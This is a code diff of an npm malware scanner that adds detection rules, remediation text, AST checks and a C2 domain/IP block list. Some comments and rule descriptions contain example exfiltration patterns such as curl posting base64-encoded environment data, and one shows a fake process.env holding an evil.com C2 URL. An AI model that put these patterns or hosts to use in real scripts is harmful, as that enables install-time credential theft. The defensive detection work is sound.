+ 'ELEVE: Le global process est shadow par une variable locale pour cacher des URLs C2 dans process.env. ' +
861
+ 'Technique d\'evasion de la campagne "Robert King" (npoint.io/jsonkeeper.com). ' +
862
+ 'Verifier les URLs dans les valeurs de la fausse variable process. Supprimer le package.',
863
+
864
+ newsletter_auto_follow:
865
+ 'ELEVE: Fork Baileys malveillant qui force l\'abonnement a des channels WhatsApp via la session authentifiee. ' +
866
+ 'Les JIDs des channels sont hardcodes ou telecharges depuis un C2 (cdn.malvintech.sbs). ' +
867
+ 'Desinstaller immediatement. Verifier les channels WhatsApp auxquels la session est abonnee. ' +
868
+ 'Revoquer la session WhatsApp Web si compromise.',
869
+
870
+ version_99_preinstall:
871
+ 'ELEVE: Version >= 99.x.x avec hook lifecycle — indicateur de dependency confusion. ' +
872
+ 'La version elevee force npm a resoudre vers le package public au lieu du package interne prive. ' +
873
+ 'NE PAS installer. Configurer un registry scope pour les packages internes. ' +
874
+ 'Signaler le package sur npm comme dependency confusion.',
875
+
876
+ lifecycle_newsletter_hijack:
877
+ 'CRITIQUE: Lifecycle hook + newsletter auto-follow WhatsApp — channel hijack a l\'installation. ' +
878
+ 'Desinstaller immediatement. Revoquer la session WhatsApp Web. ' +
879
+ 'Verifier les channels auxquels la session est abonnee.',
880
+
881
+ lifecycle_env_exfil:
882
+ 'CRITIQUE: Lifecycle hook + exfiltration env via curl/wget a l\'installation. ' +
883
+ 'Machine compromise si deja installe. Rotation immediate de TOUS les secrets.',
847
884
  };
848
885
 
849
886
  function getPlaybook(threatType) {
@@ -2218,6 +2218,64 @@ const RULES = {
2218
2218
  ],
2219
2219
  mitre: 'T1195.002'
2220
2220
  },
2221
+ // v2.10.89: Security review findings (apr-2026) — 5 new rules from 14K tarball review
2222
+ curl_env_exfil: {
2223
+ id: 'MUADDIB-PKG-018',
2224
+ name: 'Curl/Wget Environment Exfiltration',
2225
+ severity: 'CRITICAL',
2226
+ confidence: 'high',
2227
+ description: 'curl/wget combine avec base64 ou env dans un lifecycle script — exfiltration de credentials a l\'installation. Pattern: curl -d $(env|base64) URL dans preinstall/postinstall.',
2228
+ references: [
2229
+ 'https://attack.mitre.org/techniques/T1041/',
2230
+ 'https://blog.phylum.io/npm-dependency-confusion-attacks'
2231
+ ],
2232
+ mitre: 'T1041'
2233
+ },
2234
+ function_constructor_require: {
2235
+ id: 'MUADDIB-AST-086',
2236
+ name: 'Function Constructor Require Evasion',
2237
+ severity: 'CRITICAL',
2238
+ confidence: 'high',
2239
+ description: 'new Function.constructor("require", code) — execution de code dynamique via le constructeur Function avec acces au require reel. Technique d\'evasion: contourne la detection de eval/require en passant par le prototype de Function.',
2240
+ references: [
2241
+ 'https://attack.mitre.org/techniques/T1059/007/'
2242
+ ],
2243
+ mitre: 'T1059.007'
2244
+ },
2245
+ process_variable_shadow: {
2246
+ id: 'MUADDIB-AST-087',
2247
+ name: 'Process Variable Shadowing',
2248
+ severity: 'HIGH',
2249
+ confidence: 'high',
2250
+ description: 'Le global process est shadow par une variable locale (const process = {...}). Technique d\'evasion: cache les URLs C2 dans un faux process.env pour contourner la detection de domaines suspects. Campagne "Robert King" (npoint.io/jsonkeeper.com).',
2251
+ references: [
2252
+ 'https://attack.mitre.org/techniques/T1036/'
2253
+ ],
2254
+ mitre: 'T1036'
2255
+ },
2256
+ newsletter_auto_follow: {
2257
+ id: 'MUADDIB-AST-088',
2258
+ name: 'Baileys Newsletter Auto-Follow Hijack',
2259
+ severity: 'HIGH',
2260
+ confidence: 'high',
2261
+ description: 'Pattern de detournement WhatsApp Baileys: newsletter + FOLLOW/QueryIds ou AUTO_FOLLOW_CHANNELS dans le meme fichier. Force l\'abonnement a des channels WhatsApp via la session authentifiee de la victime sans consentement.',
2262
+ references: [
2263
+ 'https://attack.mitre.org/techniques/T1496/'
2264
+ ],
2265
+ mitre: 'T1496'
2266
+ },
2267
+ version_99_preinstall: {
2268
+ id: 'MUADDIB-PKG-019',
2269
+ name: 'Dependency Confusion Version Indicator',
2270
+ severity: 'HIGH',
2271
+ confidence: 'high',
2272
+ description: 'Version >= 99.x.x avec hook lifecycle (preinstall/postinstall). Indicateur fort de dependency confusion: la version elevee force la resolution npm vers le package public malveillant au lieu du package interne prive.',
2273
+ references: [
2274
+ 'https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610',
2275
+ 'https://attack.mitre.org/techniques/T1195.002/'
2276
+ ],
2277
+ mitre: 'T1195.002'
2278
+ },
2221
2279
  // Trusted dependency diff detections (monitor-only)
2222
2280
  trusted_new_unknown_dependency: {
2223
2281
  id: 'MUADDIB-TRUSTED-001',
@@ -158,7 +158,16 @@ const SUSPICIOUS_DOMAINS_HIGH = [
158
158
  'scan.aquasecurtiy.org', // Trivy exfil C2 (typosquat of aquasecurity)
159
159
  'api.telegram.org', // Telegram bot exfiltration (crypto typosquats)
160
160
  'checkmarx.zone', // Checkmarx/LiteLLM exfil C2
161
- '45.148.10.212', '83.142.209.11' // TeamPCP C2 IPs
161
+ '45.148.10.212', '83.142.209.11', // TeamPCP C2 IPs
162
+ // Security review apr-2026 findings
163
+ 'cdn.malvintech.sbs', // Baileys V3 C2 (newsletter JID dynamic loading)
164
+ '173.211.46.220', // RCE trojan campaign (react-emits, buffer-util-extend)
165
+ '144.31.107.231', // Strapi/Guardarian targeted attack C2
166
+ 'cchubber-telemetry.asmirkhan087.workers.dev', // Claude Code credential stealer
167
+ 'minhdong.site', // Facebook credential proxy (fca-mmtat)
168
+ 'ltidi.storage.googleapis.com', // KuCoin dependency confusion payload
169
+ 'jsonkeeper.com', // Robert King campaign C2 dead drop
170
+ 'npoint.io' // Robert King campaign C2 dead drop
162
171
  ];
163
172
 
164
173
  // Suspicious tunnel/proxy domains (MEDIUM severity)
@@ -23,6 +23,27 @@ function handleNewExpression(node, ctx) {
23
23
  }
24
24
  }
25
25
 
26
+ // v2.10.89: new Function.constructor("require", code) — RCE evasion
27
+ // Catches: chai-as-inserted (score 10→CRITICAL), cookie-parseflow (score 10→CRITICAL)
28
+ // Pattern: new Function.constructor("require", s); handler(require) — passes real require to dynamic code
29
+ if (node.callee.type === 'MemberExpression' &&
30
+ node.callee.property?.type === 'Identifier' && node.callee.property.name === 'constructor' &&
31
+ node.callee.object?.type === 'Identifier' && node.callee.object.name === 'Function' &&
32
+ node.arguments.length >= 1) {
33
+ const hasRequireArg = node.arguments.some(arg =>
34
+ arg.type === 'Literal' && typeof arg.value === 'string' && arg.value === 'require'
35
+ );
36
+ if (hasRequireArg) {
37
+ ctx.hasDynamicExec = true;
38
+ ctx.threats.push({
39
+ type: 'function_constructor_require',
40
+ severity: 'CRITICAL',
41
+ message: 'new Function.constructor("require", ...) — dynamic code execution bypassing require() detection. Attacker passes real require to execute arbitrary code.',
42
+ file: ctx.relFile
43
+ });
44
+ }
45
+ }
46
+
26
47
  // Batch 1: new vm.Script(code) — dynamic code compilation via vm module
27
48
  if (node.callee.type === 'MemberExpression' &&
28
49
  node.callee.property?.type === 'Identifier' && node.callee.property.name === 'Script' &&
@@ -488,6 +488,28 @@ function handlePostWalk(ctx) {
488
488
  });
489
489
  }
490
490
  }
491
+
492
+ // v2.10.89: Baileys newsletter auto-follow hijack
493
+ // Catches: Baileys V4 (budetzz score 35→HIGH, archeron-dev score 35→HIGH), all Baileys variants
494
+ // Pattern: newsletter + (FOLLOW|QueryIds|AUTO_FOLLOW_CHANNELS) in same file
495
+ // Uses source code regex since these are string patterns, not AST node types
496
+ const src = ctx._sourceCode || '';
497
+ if (/\bnewsletter\b/i.test(src) &&
498
+ (/\bFOLLOW\b/.test(src) || /\bQueryIds\b/.test(src) || /\bAUTO_FOLLOW_CHANNELS\b/.test(src))) {
499
+ // Only fire if the file also has WhatsApp/Baileys context to avoid FP on email newsletter code
500
+ const hasBaileysContext = /\b(baileys|whatsapp|WAProto|WA\.|SignalProtocol|libsignal|newsletterWMex)\b/i.test(src);
501
+ if (hasBaileysContext) {
502
+ const hasDelay = ctx.hasTimerDelayedPayload || /\bsetTimeout\b/.test(src) || /\bsetInterval\b/.test(src);
503
+ ctx.threats.push({
504
+ type: 'newsletter_auto_follow',
505
+ severity: hasDelay ? 'CRITICAL' : 'HIGH',
506
+ message: hasDelay
507
+ ? 'Baileys newsletter auto-follow with timer delay — forces WhatsApp channel subscription via authenticated session. Timer evasion pattern.'
508
+ : 'Baileys newsletter auto-follow pattern — forces WhatsApp channel subscription via authenticated session without user consent.',
509
+ file: ctx.relFile
510
+ });
511
+ }
512
+ }
491
513
  }
492
514
 
493
515
 
@@ -78,6 +78,18 @@ function handleVariableDeclarator(node, ctx) {
78
78
  ctx.varSource.set(node.id.name, source);
79
79
  }
80
80
 
81
+ // v2.10.89: Detect process variable shadowing — evasion technique
82
+ // Catches: Robert King campaign (process shadow to hide C2 URLs in fake process.env)
83
+ // Pattern: const process = { env: { DEV_API_KEY: "https://evil.com/..." } }
84
+ if (node.id.name === 'process' && node.init?.type === 'ObjectExpression') {
85
+ ctx.threats.push({
86
+ type: 'process_variable_shadow',
87
+ severity: 'HIGH',
88
+ message: 'Global "process" shadowed with local ObjectExpression — evasion technique to hide C2 URLs in fake process.env.',
89
+ file: ctx.relFile
90
+ });
91
+ }
92
+
81
93
  // Track dynamic require vars + module aliases
82
94
  if (node.init?.type === 'CallExpression') {
83
95
  const initCallName = getCallName(node.init);
@@ -116,6 +116,22 @@ async function scanPackageJson(targetPath) {
116
116
  });
117
117
  }
118
118
 
119
+ // v2.10.89: curl/wget + env/base64 exfiltration in lifecycle scripts
120
+ // Catches: apache-arrow-14 (score 9→CRITICAL), @signals-notebook (score 9→CRITICAL)
121
+ // Pattern: curl -d $(env|base64) URL, curl -X POST URL?env=$(env|base64 -w0)
122
+ if (['preinstall', 'install', 'postinstall'].includes(scriptName) &&
123
+ /\b(curl|wget)\b/.test(scriptContent) &&
124
+ (/\$\(.*\b(env|id|whoami|uname|hostname)\b/.test(scriptContent) ||
125
+ (/\bbase64\b/.test(scriptContent) && !/\|\s*(sh|bash)\b/.test(scriptContent)))) {
126
+ // Exclude curl|sh which is already caught by lifecycle_shell_pipe
127
+ threats.push({
128
+ type: 'curl_env_exfil',
129
+ severity: 'CRITICAL',
130
+ message: `Critical: "${scriptName}" uses curl/wget with env/base64 exfiltration — credential theft via lifecycle script.`,
131
+ file: 'package.json'
132
+ });
133
+ }
134
+
119
135
  // Detect Bun runtime evasion in lifecycle scripts (Shai-Hulud 2.0)
120
136
  if (/\bbun\s+(run|exec|install|x)\b/.test(scriptContent) || /\bbunx\s+/.test(scriptContent)) {
121
137
  threats.push({
@@ -147,6 +163,22 @@ async function scanPackageJson(targetPath) {
147
163
  }
148
164
  }
149
165
 
166
+ // v2.10.89: Dependency confusion indicator — version >= 99 with install hooks
167
+ // Catches: @corpweb-ui/wmkt-library, @toprank/partner, @adac-fahrzeugplattform/ui
168
+ const versionStr = pkg.version || '';
169
+ const majorVersion = parseInt(versionStr.split('.')[0], 10);
170
+ if (majorVersion >= 99) {
171
+ const hasInstallHook = ['preinstall', 'install', 'postinstall'].some(s => scripts[s]);
172
+ if (hasInstallHook) {
173
+ threats.push({
174
+ type: 'version_99_preinstall',
175
+ severity: 'HIGH',
176
+ message: `Version ${versionStr} (major >= 99) with lifecycle hook — dependency confusion attack pattern.`,
177
+ file: 'package.json'
178
+ });
179
+ }
180
+ }
181
+
150
182
  // Check non-lifecycle scripts (test, start, etc.) for network exfil commands
151
183
  const NETWORK_SCRIPT_PATTERN = /\bcurl\b|\bwget\b|\bnc\s+-|\bncat\b|\bpowershell\b|\bnslookup\b/;
152
184
  for (const [scriptName, scriptContent] of Object.entries(scripts)) {
package/src/scoring.js CHANGED
@@ -115,7 +115,10 @@ const PACKAGE_LEVEL_TYPES = new Set([
115
115
  // Blue Team v8: package-level boost signals
116
116
  'isolated_suspicious_file', 'deep_suspicious_file',
117
117
  // Blue Team v8b: phantom lifecycle scripts
118
- 'lifecycle_missing_script'
118
+ 'lifecycle_missing_script',
119
+ // v2.10.89: Security review compounds
120
+ 'lifecycle_newsletter_hijack', 'lifecycle_env_exfil',
121
+ 'curl_env_exfil', 'version_99_preinstall'
119
122
  ]);
120
123
 
121
124
  /**
@@ -248,6 +251,8 @@ const DIST_EXEMPT_TYPES = new Set([
248
251
  // Kept in REACHABILITY_EXEMPT_TYPES (lifecycle invocation is valid).
249
252
  'node_modules_write', // writeFile to node_modules/ (worm propagation)
250
253
  'npm_publish_worm', // exec("npm publish") (worm propagation)
254
+ 'curl_env_exfil', // curl/wget env exfil in lifecycle (always malicious)
255
+ 'function_constructor_require', // new Function.constructor("require") (always malicious)
251
256
  // Dangerous shell commands in dist/ are real threats, never bundler output
252
257
  'dangerous_exec',
253
258
  // Compound scoring rules — co-occurrence signals, never FP
@@ -394,6 +399,23 @@ const SCORING_COMPOUNDS = [
394
399
  // Only obfuscation_detected + env_access must be in the same file (lifecycle_script is package-level)
395
400
  sameFileTypes: ['obfuscation_detected', 'env_access']
396
401
  },
402
+ // v2.10.89: Security review compounds
403
+ {
404
+ type: 'lifecycle_newsletter_hijack',
405
+ requires: ['lifecycle_script', 'newsletter_auto_follow'],
406
+ severity: 'CRITICAL',
407
+ message: 'Lifecycle hook + newsletter auto-follow — WhatsApp Baileys channel hijack via install-time hook (scoring compound).',
408
+ fileFrom: 'newsletter_auto_follow'
409
+ // No sameFile: lifecycle is package-level, newsletter_auto_follow is file-level
410
+ },
411
+ {
412
+ type: 'lifecycle_env_exfil',
413
+ requires: ['lifecycle_script', 'curl_env_exfil'],
414
+ severity: 'CRITICAL',
415
+ message: 'Lifecycle hook + curl/wget env exfiltration — install-time credential theft (scoring compound).',
416
+ fileFrom: 'curl_env_exfil'
417
+ // No sameFile: both are package-level
418
+ },
397
419
  ];
398
420
 
399
421
  /**